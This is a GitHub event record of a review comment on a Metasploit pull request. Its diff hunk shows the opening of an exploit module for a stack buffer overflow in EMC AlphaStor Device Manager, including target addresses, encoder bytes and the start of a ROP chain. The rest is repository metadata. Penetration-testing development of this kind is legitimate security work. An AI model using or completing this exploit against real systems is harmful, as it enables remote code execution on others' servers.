GitHub PullRequestReviewCommentEvent at 2014-08-22 14:14:06
Repository: metasploit-framework
Actor: jvazquez-r7
Payload: {"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/16599457","id":16599457,"diff_hunk":"@@ -0,0 +1,116 @@\n+require 'msf/core'\n+\n+class Metasploit3 < Msf::Exploit::Remote\n+  Rank = GreatRanking\n+\n+  include Msf::Exploit::Remote::Tcp\n+\n+  def initialize(info = {})\n+    super(update_info(info,\n+      'Name'           => 'EMC AlphaStor Device Manager Opcode 0x72',\n+      'Description'    => %q{\n+        This module exploits a stack based buffer overflow vulnerability\n+        found in EMC Alphastor Device Manager. The overflow is triggered\n+        when sending a specially crafted packet to the rrobotd.exe service\n+        listening on port 3000. During the copying of strings to the stack\n+        an unbounded sprintf() function overwrites the return pointer\n+        leading to remote code execution.\n+      },\n+      'Author'         => [\n+                  'Mohsan Farid',   # faridms@gmail.com\n+                  'Preston Thornburg',  # prestonthornburg@gmail.com\n+                  'Brent Morris'    # inkrypto@gmail.com\n+                ],\n+      'License'        => MSF_LICENSE,\n+      'Version'        => '$Revision: $',\n+      'References'     =>\n+        [\n+          [ 'URL', '0day' ],\n+        ],\n+      'DefaultOptions' =>\n+        {\n+          'EXITFUNC' => 'thread',\n+        },\n+      'Privileged'     => true,\n+      'Payload'        =>\n+        {\n+          'Space' => 160,\n+          'DisableNops' => 'true',\n+          'BadChars' => \"\\x00\\x09\\x0a\\x0d\",\n+          'StackAdjustment' => -404,\n+          'PrependEncoder' => \"\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\",\n+          'Compat'  =>\n+          {\n+            'ConnectionType'  => '+ws2ord',\n+          }\n+        },\n+      'Platform'       => 'win',\n+      'Targets'        =>\n+        [\n+          [\n+            'Windows Server 2003 SP2 EN',\n+              {\n+                # pop eax/ retn\n+                # msvcrt.dll\n+                'Ret' => 0x77bc5d88,\n+              }\n+          ],\n+        ],\n+      'DefaultTarget'  => 0,\n+      'DisclosureDate' => 'Feb 14 2013'))\n+\n+    register_options(\n+      [\n+        Opt::RPORT(3000)\n+      ], self.class )\n+  end\n+\n+  def exploit\n+    connect\n+\n+    # msvcrt.dll\n+    # 96 bytes\n+    rop = [\n+      0x77bb2563, # pop eax/ retn\n+                        0x77ba1114, # ptr to kernel32!virtualprotect","path":"modules/exploits/windows/emc/emc_alphastor_72.rb","position":75,"original_position":75,"commit_id":"7587997d737f5ccc3ad6ff605dc80b1260f85ded","original_commit_id":"7587997d737f5ccc3ad6ff605dc80b1260f85ded","user":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=2","gravatar_id":"64db0388d85d8a6db1ea8cb6c5f73c99","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"body":"Please indent the rop chain! thanks!","created_at":"2014-08-22T14:14:06Z","updated_at":"2014-08-22T14:14:06Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/3686#discussion_r16599457","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/3686","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/16599457"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/3686#discussion_r16599457"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/3686"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/3686","id":20125033,"html_url":"https://github.com/rapid7/metasploit-framework/pull/3686","diff_url":"https://github.com/rapid7/metasploit-framework/pull/3686.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/3686.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/3686","number":3686,"state":"open","locked":false,"title":"Emc alphastor","user":{"login":"inkrypto","id":4985649,"avatar_url":"https://avatars.githubusercontent.com/u/4985649?v=2","gravatar_id":"4d3c154c96a97de5ceef4243dd102e9a","url":"https://api.github.com/users/inkrypto","html_url":"https://github.com/inkrypto","followers_url":"https://api.github.com/users/inkrypto/followers","following_url":"https://api.github.com/users/inkrypto/following{/other_user}","gists_url":"https://api.github.com/users/inkrypto/gists{/gist_id}","starred_url":"https://api.github.com/users/inkrypto/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/inkrypto/subscriptions","organizations_url":"https://api.github.com/users/inkrypto/orgs","repos_url":"https://api.github.com/users/inkrypto/repos","events_url":"https://api.github.com/users/inkrypto/events{/privacy}","received_events_url":"https://api.github.com/users/inkrypto/received_events","type":"User","site_admin":false},"body":"EMC AlphaStore Modules. ","created_at":"2014-08-21T17:37:42Z","updated_at":"2014-08-22T14:14:06Z","closed_at":null,"merged_at":null,"merge_commit_sha":"41b18c2391921a9e2e4b7b25ae3cb8b29d393594","assignee":null,"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/3686/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/3686/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/{number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/3686/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/7587997d737f5ccc3ad6ff605dc80b1260f85ded","head":{"label":"inkrypto:emc_alphastor","ref":"emc_alphastor","sha":"7587997d737f5ccc3ad6ff605dc80b1260f85ded","user":{"login":"inkrypto","id":4985649,"avatar_url":"https://avatars.githubusercontent.com/u/4985649?v=2","gravatar_id":"4d3c154c96a97de5ceef4243dd102e9a","url":"https://api.github.com/users/inkrypto","html_url":"https://github.com/inkrypto","followers_url":"https://api.github.com/users/inkrypto/followers","following_url":"https://api.github.com/users/inkrypto/following{/other_user}","gists_url":"https://api.github.com/users/inkrypto/gists{/gist_id}","starred_url":"https://api.github.com/users/inkrypto/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/inkrypto/subscriptions","organizations_url":"https://api.github.com/users/inkrypto/orgs","repos_url":"https://api.github.com/users/inkrypto/repos","events_url":"https://api.github.com/users/inkrypto/events{/privacy}","received_events_url":"https://api.github.com/users/inkrypto/received_events","type":"User","site_admin":false},"repo":{"id":22939135,"name":"metasploit-framework","full_name":"inkrypto/metasploit-framework","owner":{"login":"inkrypto","id":4985649,"avatar_url":"https://avatars.githubusercontent.com/u/4985649?v=2","gravatar_id":"4d3c154c96a97de5ceef4243dd102e9a","url":"https://api.github.com/users/inkrypto","html_url":"https://github.com/inkrypto","followers_url":"https://api.github.com/users/inkrypto/followers","following_url":"https://api.github.com/users/inkrypto/following{/other_user}","gists_url":"https://api.github.com/users/inkrypto/gists{/gist_id}","starred_url":"https://api.github.com/users/inkrypto/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/inkrypto/subscriptions","organizations_url":"https://api.github.com/users/inkrypto/orgs","repos_url":"https://api.github.com/users/inkrypto/repos","events_url":"https://api.github.com/users/inkrypto/events{/privacy}","received_events_url":"https://api.github.com/users/inkrypto/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/inkrypto/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/inkrypto/metasploit-framework","forks_url":"https://api.github.com/repos/inkrypto/metasploit-framework/forks","keys_url":"https://api.github.com/repos/inkrypto/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/inkrypto/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/inkrypto/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/inkrypto/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/inkrypto/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/inkrypto/metasploit-framework/events","assignees_url":"https://api.github.com/repos/inkrypto/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/inkrypto/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/inkrypto/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/inkrypto/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/inkrypto/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/inkrypto/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/inkrypto/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/inkrypto/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/inkrypto/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/inkrypto/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/inkrypto/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/inkrypto/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/inkrypto/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/inkrypto/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/inkrypto/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/inkrypto/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/inkrypto/metasploit-framework/issues/comments/{number}","contents_url":"https://api.github.com/repos/inkrypto/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/inkrypto/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/inkrypto/metasploit-framework/merges","archive_url":"https://api.github.com/repos/inkrypto/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/inkrypto/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/inkrypto/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/inkrypto/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/inkrypto/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/inkrypto/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/inkrypto/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/inkrypto/metasploit-framework/releases{/id}","created_at":"2014-08-14T02:52:51Z","updated_at":"2014-08-14T03:26:10Z","pushed_at":"2014-08-21T17:28:29Z","git_url":"git://github.com/inkrypto/metasploit-framework.git","ssh_url":"git@github.com:inkrypto/metasploit-framework.git","clone_url":"https://github.com/inkrypto/metasploit-framework.git","svn_url":"https://github.com/inkrypto/metasploit-framework","homepage":"http://www.metasploit.com/","size":242731,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"48f0743d1b5ccad1dd2f76bce7e5e024a2d5b91d","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=2","gravatar_id":"5d198df57a51ac06525bfa48c3ff9f6c","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=2","gravatar_id":"5d198df57a51ac06525bfa48c3ff9f6c","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/{number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","created_at":"2011-08-30T06:13:20Z","updated_at":"2014-08-22T04:19:29Z","pushed_at":"2014-08-21T23:22:08Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":959216,"stargazers_count":2426,"watchers_count":2426,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":2211,"mirror_url":null,"open_issues_count":81,"forks":2211,"open_issues":81,"watchers":2426,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/3686"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/3686"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/3686"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/3686/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/3686/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/{number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/3686/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/7587997d737f5ccc3ad6ff605dc80b1260f85ded"}}}}